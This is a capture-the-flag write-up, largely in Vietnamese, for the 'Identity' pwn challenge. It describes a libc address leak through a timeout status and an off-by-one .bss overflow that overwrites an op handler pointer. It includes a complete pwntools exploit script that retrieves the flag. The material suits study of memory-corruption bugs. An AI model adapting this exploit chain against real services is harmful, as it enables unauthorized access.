pwn - Identity

I added a protection layer in front of my database, it's safe now… right? Right??

Vulnerability: off-by-one out-of-bound write -> .bss buffer overflow

December 24, 2025 November 29, 2025 Medium

Setup

$ docker build -t identity .
$ docker run --rm -p 5555:5555 --privileged -it identity

Recon

Database

Database identity.db table users có user 1 và 2 là regular users với system_uid=1000,1001, còn user 1337 có system_uid=666 và role chứa flag. Mục tiêu là GET 1337 để lấy flag từ trường email.

Mitigation

securityd còn có seccomp filter chặn các syscall nguy hiểm -> không shell trực tiếp được.

Hai service giao tiếp với nhau qua Unix socket. Nhìn vào code identityd.c, hàm cmd_get() xử lý command GET:

if ( (unsigned int)securityd_call(4u, id, system_uid, caller_uid, 0LL, 0LL, &error) == 1 )
{
  v12 = snprintf(
          buf,
          512uLL,
          "OK id=%d username=%s system_uid=%d email=%s role=%s\n",
          id,
          username,
          system_uid,
          email,
          role);
  write(fd, buf, v12);
}
else
{
  v11 = snprintf(buf, 0x80uLL, "ERR code=%#llx\n", error);
  write(fd, buf, v11);
}

Khi system_uid=666 (root user), identityd sẽ gọi securityd_call() để xin phép. Hàm này tạo Unix socket connection đến /tmp/securityd.sock và gửi 272 bytes:

memset(op_data, 0, 272uLL);
op_data[0] = htonl(opcode);
op_data[1] = htonl(target_user_id);
op_data[2] = htonl(system_uid_1);
op_data[3] = htonl(system_uid_2);
if ( role_data && role_data_len )
{
  if ( role_data_len > 256 )
    role_data_len = 256LL;
  memcpy(role, role_data, role_data_len);
}
if ( (unsigned int)write_n(securityd_socket, (__int64)op_data, 272uLL) )

Packet 272 bytes gồm: 4 bytes opcode, 4 bytes target_user_id, 4 bytes system_uid_1, 4 bytes system_uid_2, và 256 bytes role_data.

Khi GET user 1337 nhiều lần, mình thấy error code thay đổi. Lần đầu là ERR code=0x2, từ lần hai trở đi là ERR code=0x777b94252e3d. Nhìn có vẻ như là địa chỉ trong libc, nó luôn kết thúc bằng e3d. Mình hỏi Claude và check trong libc:

$ strings -a -t x libc.so.6 | grep "Connection timed out"
 1cbe3d Connection timed out

Đây là địa chỉ của chuỗi “Connection timed out” trong libc. Leak này xảy ra trong hàm fill_status_detail() của securityd.c:

if ( op_result == 2 )  // timeout
{
  v4 = strerror_r(110, buf, 0x80uLL);
  if ( g_last_status == 2 )
  {
    *(_QWORD *)(response + 8) = g_last_detail;  // leak!
  }
  else
  {
    g_last_status = 2;
    g_last_detail = (__int64)v4;  // save libc string pointer
  }
}

Lần timeout đầu tiên lưu address của string vào g_last_detail, lần timeout thứ hai sẽ trả về g_last_detail trong response → libc leak

Hàm tcc_session_create() trong securityd.c:

v3 = g_next_session_idx++;
v22 = v3;
if ( v3 > 8 )
  v22 = 8;
v21 = &g_state[46 * v22];

g_state có size 369 qwords, mỗi session chiếm 46 qwords, vậy chỉ có thể chứa được 8 sessions với index từ 0 đến 7 (369 / 46 = 8 sessions dư 1 qword cho padding). Nhưng code check if v3 > 8 rồi mới cap lại thành 8, nghĩa là khi v3 = 8 thì vẫn pass được. Khi index=8, session được tạo ở g_state + 46*8 = g_state + 368.

.bss:004051A0  g_state         dq 171h dup(?)  ; 369 qwords
.bss:00405D28  qword_405D28    dq ?            ; op handler 1
.bss:00405D30  qword_405D30    dq ?            ; op handler 2
.bss:00405D38  qword_405D38    dq ?            ; op handler 3
.bss:00405D40  qword_405D40    dq ?            ; op handler 4

Session thứ 8 bắt đầu từ offset 368 trong g_state, tức là nó sẽ ghi đè lên vùng handler pointers ngay sau g_state, và dữ liệu session được copy từ g_last_role, mà g_last_role lại được fill từ role_data trong request từ hàm handle_client:

memset(g_last_role, 0, sizeof(g_last_role));
*(_QWORD *)g_last_role = v4;
qword_405D88 = v5;
qword_405D90 = v6;
qword_405D98 = v7;
qword_405DA0 = v8;
qword_405DA8 = v9;
qword_405DB0 = v10;
qword_405DB8 = v11;
qword_405DC0 = v12;

Solve

Tóm lại, mình có 2 lỗ hổng: libc leak qua timeout và OOB write qua session thứ 8 để ghi đè handler pointer thành một gadget nào đó return về 1 -> cho phép GET 1337.

Script

#!/usr/bin/env python3

from pwn import *

identity = ELF("identityd_patched", checksec=False)
security = ELF("securityd_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.39.so", checksec=False)

context.terminal = ['tmux', 'splitw', '-h']
context.binary = security

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

def conn():
    return remote("localhost", 5555)

def get(p, id):
    pl = f'GET {id}'.encode()
    sl(p, pl)

def add(p, username, system_uid, email, role):
    pl = f'ADD {username} {system_uid} {email} '.encode() + role
    sl(p, pl)

for i in range(7):
    p = conn()
    get(p, 1337)
    p.close()

print("Getting libc...")
p = conn()
get(p, 1337)
print("10s timeout")
for i in range(10):
    print(f"{i}s")
    sleep(1)
ru(p, b'ERR code=')
libc.address = int(rn(p, 14), 16) - 0x1cbe3d
print(f"libc base: {hex(libc.address)}")
p.close()

print("Overwriting op 4 handler...")
p = conn()
gadget = libc.address + 0x59226 # mov eax, 1; ret
role_data = b'A' * 20 + p64(gadget)
add(p, 'A', 666, 'A', role_data)
print("10s timeout")
for i in range(10):
    print(f"{i}s")
    sleep(1)

print("Getting flag...")
get(p, 1337)

ru(p, b'email=')
flag = ru(p, b'}')

print("Flag:", flag.decode())